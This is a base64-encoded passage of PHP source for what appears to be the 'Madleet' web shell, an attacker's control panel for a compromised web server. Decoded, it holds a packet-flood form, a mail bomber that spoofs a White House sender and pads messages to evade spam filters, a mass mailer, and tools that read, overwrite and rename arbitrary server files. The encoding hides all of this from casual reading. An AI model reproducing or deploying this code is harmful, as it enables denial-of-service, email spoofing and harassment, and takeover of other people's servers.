AgICAgICAgICAgICAgICAgICAgIElQIAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJpcCIgdmFsdWU9IjEyNy4wLjAuMSIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnMTI3LjAuMC4xJyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzEyNy4wLjAuMSc7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgUG9ydCAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0icG9ydCIgdmFsdWU9IjgwIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICc4MCcpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSc4MCc7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgVGltZW91dCA8Zm9udCBjb2xvcj0icmVkIj4oVGltZSBpbiBzZWNvbmRzKTwvZm9udD4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9InRpbWVvdXQiIHZhbHVlPSI1IiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICc1Jyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzUnOyIgLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBFeGVjdXRpb24gVGltZSA8Zm9udCBjb2xvcj0icmVkIj4oVGltZSBpbiBzZWNvbmRzKTwvZm9udD4gIAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iY21kIiBuYW1lPSJleFRpbWUiIHZhbHVlPSIxMCIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnMTAnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nMTAnOyIvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIE5vIG9mIEJ5dGVzIHBlci9wYWNrZXQgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9Im5vT2ZCeXRlcyIgdmFsdWU9Ijk5OTk5OSIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnOTk5OTk5Jyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9Jzk5OTk5OSc7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCgogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgcm93c3Bhbj0iMiI+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgc3R5bGU9Im1hcmdpbiA6IDIwcHg7IG1hcmdpbi1sZWZ0OiA1MDBweDsgcGFkZGluZyA6IDEwcHg7IHdpZHRoOiAxMDBweDsiIHR5cGU9InN1Ym1pdCIgY2xhc3M9Im93biIgdmFsdWU9IkxldCBpdCBSaXAhIDpEIi8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgIDwvdGFibGU+ICAgICAgICAgICAgIAogICAgICAgIDwvZm9ybT4gCiAgICAgICAgPD9waHAgCiAgICB9IAp9IAoKLy8gTWFpbCBCb21iZXIgCgplbHNlIGlmKGlzc2V0KCRfR0VUWydib21iJ10pKSAKeyAKICAgIGlmKCAKICAgICAgICBpc3NldCgkX0dFVFsndG8nXSkgJiYgCiAgICAgICAgaXNzZXQoJF9HRVRbJ3N1YmplY3QnXSkgJiYgCiAgICAgICAgaXNzZXQoJF9HRVRbJ21lc3NhZ2UnXSkgJiYgCiAgICAgICAgaXNzZXQoJF9HRVRbJ3RpbWVzJ10pICYmIAogICAgICAgICRfR0VUWyd0byddICE9ICcnICYmIAogICAgICAgICRfR0VUWydzdWJqZWN0J10gIT0gJycgJiYgCiAgICAgICAgJF9HRVRbJ21lc3NhZ2UnXSAhPSAnJyAmJiAKICAgICAgICAkX0dFVFsndGltZXMnXSAhPSAnJyAKICAgICkgCiAgICB7IAogICAgICAgICR0aW1lcyA9ICRfR0VUWyd0aW1lcyddOyAKICAgICAgICB3aGlsZSgkdGltZXMtLSkgCiAgICAgICAgeyAKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3BhZGRpbmcnXSkpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgJGZyb21QYWRkID0gcmFuZCgwLDk5OTkpOyAKICAgICAgICAgICAgICAgICRzdWJqZWN0UGFkZCA9ICIgLS0gSUQgOiAiLnJhbmQoMCw5OTk5OTk5KTsgCiAgICAgICAgICAgICAgICAkbWVzc2FnZVBhZGQgPSAiXG5cbi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIi5yYW5kKDAsOTk5OTk5OTkpOyAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgJGZyb20gPSAicHJlc2lkZW50JGZyb21QYWRkQHdoaXRlaG91c2UuZ292IjsgCiAgICAgICAgICAgIGlmKCFtYWlsKCRfR0VUWyd0byddLCRfR0VUWydzdWJqZWN0J10uJHN1YmplY3RQYWRkLCRfR0VUWydtZXNzYWdlJ10uJG1lc3NhZ2VQYWRkLCJGcm9tOiIuJGZyb20pKSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICRlcnJvciA9IDE7IAogICAgICAgICAgICAgICAgZWNobyAiPHAgY2xhc3M9J2FsZXJ0Jz5Tb21lIEVycm9yIE9jY3VyZWQhPC9wPiI7IAogICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICAgICAgaWYoJGVycm9yICE9IDEpIAogICAgICAgIHsgCiAgICAgICAgICAgIGVjaG8gIjxwIGNsYXNzPSdhbGVydCc+TWFpbChzKSBTZW50ITwvcD4iOyAKICAgICAgICB9IAogICAgfSAKICAgIGVsc2UgCiAgICB7IAogICAgICAgID8+IAogICAgICAgIDxmb3JtIG1ldGhvZD0iR0VUIj4gCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImJvbWIiIC8+IAogICAgICAgICAgICA8dGFibGUgaWQ9Im1hcmdpbnMiPiAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBUbyAgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9InRvIiB2YWx1ZT0idmljdGltQGRvbWFpbi5jb20sdmljdGltMkBkb21haW4uY29tIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICd2aWN0aW1AZG9tYWluLmNvbSx2aWN0aW0yQGRvbWFpbi5jb20nKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0ndmljdGltQGRvbWFpbi5jb20sdmljdGltMkBkb21haW4uY29tJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBTdWJqZWN0IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iY21kIiBuYW1lPSJzdWJqZWN0IiB2YWx1ZT0iSnVzdCB0ZXN0aW5nIG15IEZ1Y2tpbmcgU2tpbGx6ISIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnSnVzdCB0ZXN0aW5nIG15IEZ1Y2tpbmcgU2tpbGx6IScpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSdKdXN0IHRlc3RpbmcgbXkgRnVja2luZyBTa2lsbHohJzsiIC8+CiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgTm8uIG9mIFRpbWVzICAgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9InRpbWVzIiB2YWx1ZT0iMTAwIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICcxMDAnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nMTAwJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICBQYWQgeW91ciBtZXNzYWdlIChMZXNzIHNwYW0gZGV0ZWN0aW9uKSAKICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InBhZGRpbmciLz4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJtZXNzYWdlIiBjb2xzPSIxNzMiIHJvd3M9IjEwIiBjbGFzcz0iY21kIj5NYWRsZWV0LVNoZWxsIFJvY2tzISE8L3RleHRhcmVhPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgcm93c3Bhbj0iMiI+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgc3R5bGU9Im1hcmdpbiA6IDIwcHg7IG1hcmdpbi1sZWZ0OiAzOTBweDsgcGFkZGluZyA6IDEwcHg7IHdpZHRoOiAxMDBweDsiIHR5cGU9InN1Ym1pdCIgY2xhc3M9Im93biIgdmFsdWU9IlNlbmQhIDpEIi8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgIDwvdGFibGU+ICAgICAgICAgICAgIAogICAgICAgIDwvZm9ybT4gICAgCiAgICAgICAgPD9waHAgCiAgICB9IAp9IAoKCi8vTWFzcyBNYWlsZXIgCgplbHNlIGlmKGlzc2V0KCRfR0VUWydtYWlsJ10pKSAKeyAKICAgIGlmKCAKICAgICAgICBpc3NldCgkX0dFVFsndG8nXSkgJiYgCiAgICAgICAgaXNzZXQoJF9HRVRbJ2Zyb20nXSkgJiYgCiAgICAgICAgaXNzZXQoJF9HRVRbJ3N1YmplY3QnXSkgJiYgCiAgICAgICAgaXNzZXQoJF9HRVRbJ21lc3NhZ2UnXSkgCiAgICApIAogICAgeyAKCiAgICAgICAgaWYobWFpbCgkX0dFVFsndG8nXSwkX0dFVFsnc3ViamVjdCddLCRfR0VUWydtZXNzYWdlJ10sIkZyb206Ii4kX0dFVFsnZnJvbSddKSkgCiAgICAgICAgeyAKICAgICAgICAgICAgZWNobyAiPHAgY2xhc3M9J2FsZXJ0Jz5NYWlsIFNlbnQhPC9wPiI7IAogICAgICAgIH0gCiAgICAgICAgZWxzZSAKICAgICAgICB7IAogICAgICAgICAgICBlY2hvICI8cCBjbGFzcz0nYWxlcnQnPlNvbWUgRXJyb3IgT2NjdXJlZCE8L3A+IjsgCiAgICAgICAgfSAKICAgIH0gCiAgICBlbHNlIAogICAgeyAKICAgICAgICA/PiAKICAgICAgICA8Zm9ybSBtZXRob2Q9IkdFVCI+IAogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJtYWlsIiAvPiAKICAgICAgICAgICAgPHRhYmxlIGlkPSJtYXJnaW5zIj4gCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTAwIiBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgRnJvbSAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0iZnJvbSIgdmFsdWU9InByZXNpZGVudEB3aGl0ZWhvdXNlLmdvdiIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAncHJlc2lkZW50QHdoaXRlaG91c2UuZ292Jyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9J3ByZXNpZGVudEB3aGl0ZWhvdXNlLmdvdic7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgVG8gIAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJ0byIgdmFsdWU9InZpY3RpbUBkb21haW4uY29tLHZpY3RpbTJAZG9tYWluLmNvbSIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAndmljdGltQGRvbWFpbi5jb20sdmljdGltMkBkb21haW4uY29tJyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9J3ZpY3RpbUBkb21haW4uY29tLHZpY3RpbTJAZG9tYWluLmNvbSc7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgU3ViamVjdCAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0ic3ViamVjdCIgdmFsdWU9Ikp1c3QgdGVzdGluZyBteSBGdWNraW5nIFNraWxseiEiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJ0p1c3QgdGVzdGluZyBteSBGdWNraW5nIFNraWxseiEnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nSnVzdCB0ZXN0aW5nIG15IEZ1Y2tpbmcgU2tpbGx6ISc7IiAvPgogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJtZXNzYWdlIiBjb2xzPSIxNzMiIHJvd3M9IjEwIiBjbGFzcz0iY21kIj5BbGwgaSByZW1lbWJlciBhcmUgdGhvc2UgbG9uZWx5IG5pZ2h0cyB3aGVuIGkgd2FzIGRlZmFjaW5nIHRob3NlIGluc2VjdXJlIHdlYnNpdGVzITwvdGV4dGFyZWE+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCByb3dzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0ibWFyZ2luIDogMjBweDsgbWFyZ2luLWxlZnQ6IDM5MHB4OyBwYWRkaW5nIDogMTBweDsgd2lkdGg6IDEwMHB4OyIgdHlwZT0ic3VibWl0IiBjbGFzcz0ib3duIiB2YWx1ZT0iU2VuZCEgOkQiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgPC90YWJsZT4gICAgICAgICAgICAgCiAgICAgICAgPC9mb3JtPiAgICAKICAgICAgICA8P3BocCAKICAgIH0gCn0gCgoKLy8gRWRpdCBGaWxlIAoKZWxzZSBpZihpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgJiYgCiAgICAgICAgaXNzZXQoJF9QT1NUWydjb250ZW50J10pICkgCnsgCiAgICBpZihpc19kaXIoJF9QT1NUWydmaWxlJ10pKSAKICAgIHsgCiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjoiLiRzZWxmLiI/ZGlyPSIuJF9QT1NUWydmaWxlJ10pOyAKICAgIH0gCiAgICBpZihmaWxlX2V4aXN0cygkX1BPU1RbJ2ZpbGUnXSkpIAogICAgeyAKICAgICAgICAkaGFuZGxlID0gZm9wZW4oJF9QT1NUWydmaWxlJ10sInciKTsgCiAgICAgICAgZndyaXRlKCRoYW5kbGUsJF9QT1NUWydjb250ZW50J10pOyAKICAgICAgICBlY2hvICJZb3VyIGNoYW5nZXMgd2VyZSBTdWNjZXNzZnVsbHkgU2F2ZWQhIjsgCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICAgICAgZWNobyAiPHAgY2xhc3M9J2FsZXJ0Jz5GaWxlIE5hbWUgU3BlY2lmaWVkIGRvZXMgbm90IGV4aXN0cyE8L3A+IjsgCiAgICB9IAp9IAoKLy8gUEhQIGRlY29kZXIgCgplbHNlIGlmKGlzc2V0KCRfR0VUWydkZWNvZGUnXSkpIAp7IAogICAgJGNvbnRlbnQgPSAiIjsgCiAgICBpZihpc3NldCgkX1BPU1RbJ2NvbnRlbnQnXSkpIAogICAgeyAKICAgICAgICAkY29udGVudCA9IGh0bWxzcGVjaWFsY2hhcnMoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydjb250ZW50J10pKSk7ICAgICAgICAKICAgIH0gCiAgICA/PiAKICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+IAogICAgIDx0ZXh0YXJlYSBuYW1lPSJjb250ZW50IiByb3dzPSIyMCIgY29scz0iMTAwIiBjbGFzcz0iY21kIj48P3BocCBlY2hvICRjb250ZW50Oz8+PC90ZXh0YXJlYT48YnIgLz4gCiAgICAgICAgPGlucHV0IG5hbWU9InNhdmUiIHR5cGU9IlN1Ym1pdCIgdmFsdWU9IkRlY29kZSIgY2xhc3M9Im93biIgaWQ9InNwYWNpbmciLz4gCiAgICA8L2Zvcm0+IAogICAgPD9waHAgCn0gCgovL29wZW4gZmlsZSAKCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ29wZW4nXSkpIAp7IAogICAgPz4gCiAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ijw/cGhwIGVjaG8gJHNlbGY7Pz4iID4gCiAgICAgICAgPHRhYmxlPiAKICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD5GaWxlIDwvdGQ+PHRkPiA6IDwvdGQ+PHRkPjxpbnB1dCB2YWx1ZT0iPD9waHAgZWNobyAkX0dFVFsnb3BlbiddOz8+IiBjbGFzcz0iY21kIiBuYW1lPSJmaWxlIiAvPjwvdGQ+IAogICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD5TaXplIDwvdGQ+PHRkPiA6IDwvdGQ+PHRkPjxpbnB1dCB2YWx1ZT0iPD9waHAgZWNobyBmaWxlc2l6ZSgkX0dFVFsnb3BlbiddKTs/PiIgY2xhc3M9ImNtZCIgLz48L3RkPiAgCiAgICAgICAgICAgIDwvdHI+IAogICAgICAgIDwvdGFibGU+IAogICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJjb250ZW50IiByb3dzPSIyMCIgY29scz0iMTAwIiBjbGFzcz0iY21kIj48P3BocCAKICAgICAgICAkY29udGVudCA9IGh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ29wZW4nXSkpOyAKICAgICAgICBpZigkY29udGVudCkgCiAgICAgICAgeyAKICAgICAgICAgICAgZWNobyAkY29udGVudDsgCiAgICAgICAgfSAKICAgICAgICBlbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygnZmdldHMnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2ZvcGVuJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpIAogICAgICAgIHsgCiAgICAgICAgICAgIGZvcGVuKCRfR0VUWydvcGVuJ10pOyAKICAgICAgICAgICAgd2hpbGUoIWZlb2YoKSkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJF9HRVRbJ29wZW4nXSkpOyAKICAgICAgICAgICAgfSAKICAgICAgICB9IAoKICAgICAgICA/PiAKICAgICAgICA8L3RleHRhcmVhPjxiciAvPiAKICAgICAgICA8aW5wdXQgbmFtZT0ic2F2ZSIgdHlwZT0iU3VibWl0IiB2YWx1ZT0iU2F2ZSBDaGFuZ2VzIiBjbGFzcz0ib3duIiBpZD0ic3BhY2luZyIvPiAKICAgICAgICA8L2Zvcm0+IAogICAgPD9waHAgCn0gCgovL1JlbmFtZSAKCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ3JlbmFtZSddKSkgCnsgCiAgICBpZihpc3NldCgkX0dFVFsndG8nXSkgJiYgaXNzZXQoJF9HRVRbJ3JlbmFtZSddKSkgCiAgICB7IAogICAgICAgIGlmKHJlbmFtZSgkX0dFVFsncmVuYW1lJ10sJF9HRVRbJ3RvJ10pID09IEZBTFNFKSAKICAgICAgICB7IAogICAgICAgICAgICA/PiAKICAgICAgICAgICAgPGJpZz48cCBjbGFzcz0iYmxpbmsiPkNhbnQgcmVuYW1lIHRoZSBmaWxlIHNwZWNpZmllZCEgUGxlYXNlIGNoZWNrIHRoZSBmaWxlLW5hbWUgLCBQZXJtaXNzaW9ucyBhbmQgdHJ5IGFnYWluITwvcD48L2JpZz4gCiAgICAgICAgICAgIDw/cGhwIAogICAgICAgIH0gCiAgICAgICAgZWxzZSAKICAgICAgICB7IAogICAgICAgICAgICA/PiAKICAgICAgICAgICAgPGJpZz48cCBjbGFzcz0iYmxpbmsiPkZpbGUgUmVuYW1lZCAsIFJldHVybiA8YSBocmVmPSI8P3BocCBlY2hvICRzZWxmOz8+Ij5IZXJlPC9hPjwvcD48L2JpZz4gCiAgICAgICAgICAgIDw/cGhwIAogICAgICAgIH0gCiAgICB9IAogICAgZWxzZSAKICAgIHsgCj8+IAogICAgPGZvcm0gbWV0aG9kPSJHRVQiIGFjdGlvbj0iPD9waHAgZWNobyAkc2VsZjs/PiIgPiAKICAgICAgICA8dGFibGU+IAogICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgPHRkPkZpbGUgPC90ZD48dGQ+IDogPC90ZD48dGQ+PGlucHV0IHZhbHVlPSI8P3BocCBlY2hvICRfR0VUWydyZW5hbWUnXTs/PiIgY2xhc3M9ImNtZCIgbmFtZT0icmVuYW1lIiAvPjwvdGQ+IAogICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD5UbyA8L3RkPjx0ZD4gOiA8L3RkPjx0ZD48aW5wdXQgdmFsdWU9Ijw/cGhwIGVjaG8gJF9HRVRbJ3JlbmFtZSddOz8+IiBjbGFzcz0iY21kIiBuYW1lPSJ0byIgLz48L3RkPiAgCiAgICAgICAgICAgIDwvdHI+IAogICAgICAgIDwvdGFibGU+IAogICAgICAgIDxpbnB1dCB0eXBlPSJTdWJtaXQiIHZhbHVlPSJSZW5hbWUgOkQiIGNsYXNzPSJvd24iIHN0eWxlPSJtYXJnaW4tbGVmdDogMTYwcHg7cGFkZGluZzogNXB4OyIvPiAKICAgICAgICA8L2Zvcm0+ICAgIAogICAgPD9waHAgCiAgICB9IAp9IAoKCi8vIE5vIHJlcXVlc3QgbWFkZSAKLy8gRGlzcGxheSBob21lIHBhZ2UgCgplbHNlIAp7IAogICAgJGRpciA9IGdldGN3ZCgpOyAKICAgIGlmKGlzc2V0KCRfR0VUWydkaXInXSkpIAogICAgeyAKICAgICAgICAkZGlyID0gJF9HRVRbJ2RpciddOyAKICAgIH0gCiAgICA/PiAKICAgIDx0YWJsZSBpZD0ibWFyZ2lucyI+IAogICAgPHRyPiAKICAgICAgICA8Zm9ybSBtZXRob2Q9IkdFVCIgIGFjdGlvbj0iPD9waHAgZWNobyAkc2VsZjs/PiI+IAogICAgICAgIDx0ZCB3aWR0aD0iMTAwIj5QV0Q8L3RkPjx0ZCB3aWR0aD0iNDEwIj48aW5wdXQgbmFtZT0iZGlyIiBjbGFzcz0iY21kIiBpZD0ibWFpbklucHV0IiB2YWx1ZT0iPD9waHAgZWNobyAkZGlyOz8+Ii8+PC90ZD4gCiAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHMCEhIiBjbGFzcz0ib3duIiAvPjwvdGQ+IAogICAgICAgIDwvZm9ybT4gCiAgICA8L3RyPiAKICAgIDwvdGFibGU+IAogICAgIAogICAgPHRhYmxlIGlkPSJtYXJnaW5zIiBjbGFzcz0iZmlsZXMiPiAKICAgIDx0cj4gCiAgICAgICAgPHRoIGNsYXNzPSJoZWFkZXIiIHdpZHRoPSI1MDBweCI+TmFtZTwvdGg+IAogICAgICAgIDx0aCB3aWR0aD0iMTAwcHgiIGNsYXNzPSJoZWFkZXIiPlNpemU8L3RoPiAKICAgICAgICA8dGggd2lkdGg9IjEwMHB4IiBjbGFzcz0iaGVhZGVyIj5QZXJtaXNza